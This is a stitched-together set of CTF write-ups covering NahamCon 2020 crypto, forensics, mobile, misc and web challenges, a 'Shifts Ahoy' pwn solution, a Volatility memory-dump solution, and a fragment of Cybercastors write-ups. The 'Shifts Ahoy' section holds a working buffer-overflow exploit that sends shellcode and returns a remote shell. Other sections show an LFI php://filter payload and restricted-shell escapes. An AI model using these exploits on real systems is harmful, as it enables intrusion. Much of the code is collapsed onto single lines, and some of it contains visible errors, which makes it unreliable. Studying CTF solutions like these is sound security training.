for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# NahamCon CTF 2020
## Shifts Ahoy
> 100>> I created super advanced encryption software for us to communicate securely.>> Connect here:> `nc jh2i.com 50015`>> [`shifts-ahoy`](shifts-ahoy)
Tags: _pwn_ _x86-64_ _shellcode_ _rop_ _bof_ _remote-shell_
## Summary
Buffer overflow to ROP your shellcode. The ROP is tight, 7-bytes!
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments```
Almost nothing. Choose your own adventure.
### Decompile with Ghidra
```cvoid encrypt(char *__block,int __edflag)
{ size_t sVar1; undefined4 in_register_00000034; char local_58 [72]; int local_10; int local_c; printf("Enter the message: ",CONCAT44(in_register_00000034,__edflag)); fgets(local_58,0x60,stdin); sVar1 = strlen(local_58); local_c = (int)sVar1; if (0x40 < (int)sVar1) { local_c = 0x40; } local_10 = 0; while (local_10 < local_c) { local_58[local_10] = local_58[local_10] + '\r'; local_10 = local_10 + 1; } printf("\nEncrypted Message: %s\n",local_58); return;}```
The `fgets` buffer overflow vulnerability is in the `encrypt` function, and there is just enough overflow to work with. `local_58` is `0x58` bytes from the return address and `fgets` is only going to read `0x60` bytes. That leaves 8 bytes (7 if you count that `fgets` will replace the last byte with `0x00`, fortunately it needs to be zero), just enough to overwrite the return address.
_But with what?_
Looking at the `encrypt` disassembly:
``` 004012e1 49 89 e7 MOV R15,RSP 004012e4 90 NOP 004012e5 c9 LEAVE 004012e6 c3 RET```
Just before `encrypt` returns, the stack pointer is copied (moved) to R15, which happens to have the address of `local_58` (check with GDB), so just send some shellcode and then `jmp r15`. _Right?_
`jmp r15` check:
```python>>> from pwn import *>>> binary = ELF('shifts-ahoy')[*] '/pwd/datajerk/nahamconctf2020/shifts/shifts-ahoy' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments>>> context.update(arch='amd64',os='linux')>>> jmp_r15 = list(binary.search(asm('jmp r15')))[0]>>> print("jmp r15",hex(jmp_r15))jmp r15 0x4011cd```
Good.
There's one last detail, the "encrypt" function, "encrypts" the first `0x40` bytes of our input to `fgets`, so we'll have to "decrypt" our payload so that when "encrypted" we get plaintext shellcode.
## Exploit
```python#!/usr/bin/python3
from pwn import *
#p = process('./shifts-ahoy')p = remote('jh2i.com', 50015)
p.sendlineafter('> ','1')p.recvuntil('Enter the message: ')
binary = ELF('shifts-ahoy')context.update(arch='amd64',os='linux')shellcode = asm(shellcraft.sh())jmp_r15 = list(binary.search(asm('jmp r15')))[0]print("jmp r15",hex(jmp_r15))
payload = bytes([(x - ord('\r')) & 0xff for x in shellcode])payload += (0x58 - len(payload)) * b'A'payload += p64(jmp_r15)
p.sendline(payload)p.interactive()```
After obtinaing shellcode from pwntools and the address of `jmp r15`, the shellcode will need to be "decrypted", IOW, subtract `\r` from each byte since `encrypt` will just add it back, then pad out to `0x58` bytes (distance from return address), and set the return address to the address of `jmp r15`.
Output:
```# ./exploit.py[+] Opening connection to jh2i.com on port 50015: Done[*] '/pwd/datajerk/nahamconctf2020/shifts/shifts-ahoy' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segmentsjmp r15 0x4011cd[*] Switching to interactive mode
Encrypted Message: jhH\xb8/bin///sPH\x89\xe7hri\x814$1\xf6V^H\xe6VH\x89\xe61\xd2j;X\x0fNNNNNNNNNNNNNNNNAAAAAAAA@$ iduid=1000(challenge) gid=1000(challenge) groups=1000(challenge)$ lsflag.txtshifts-ahoy$ cat flag.txtflag{captain_of_the_rot13_ship}```
So `\r` is the 13th ASCII character, _rot?_, anyway, done. |
Given this memory dump, we will use Volatility to proceed. To view some basic info about the type of memdump, we do a `volatility -f memdump.raw imageinfo` to view the profile```$ volatility -f memdump.raw imageinfoVolatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/ideaengine007/Desktop/memdump.raw) PAE type : PAE DTB : 0x185000L KDBG : 0x8276fc28L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x82770c00L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2020-04-20 21:16:55 UTC+0000 Image local date and time : 2020-04-20 14:16:55 -0700```
Refering the cheatsheet available at https://digital-forensics.sans.org/media/volatility-memory-forensics-cheat-sheet.pdf , the `consoles` plugin is used to see the command history.
```$ volatility --profile=Win7SP1x86 -f memdump.raw consolesVolatility Foundation Volatility Framework 2.6**************************************************ConsoleProcess: conhost.exe Pid: 3468Console: 0xc781c0 CommandHistorySize: 50HistoryBufferCount: 1 HistoryBufferMax: 4OriginalTitle: %SystemRoot%\system32\cmd.exeTitle: C:\Windows\system32\cmd.exeAttachedProcess: cmd.exe Pid: 3460 Handle: 0x5c----CommandHistory: 0x2f0448 Application: cmd.exe Flags: Allocated, ResetCommandCount: 1 LastAdded: 0 LastDisplayed: 0FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x5cCmd #0 at 0x2f4680: echo JCTF{nice_volatility_tricks_bro}----Screen 0x2d62d8 X:80 Y:300Dump:Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\JCTF>echo JCTF{nice_volatility_tricks_bro} JCTF{nice_volatility_tricks_bro} C:\Users\JCTF>```
Hence we find the flag as `JCTF{nice_volatility_tricks_bro}`
Apart from that, this is a nice blog detailing use of volatility [Memory Forensics](https://resources.infosecinstitute.com/memory-forensics-and-analysis-using-volatility/) |
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
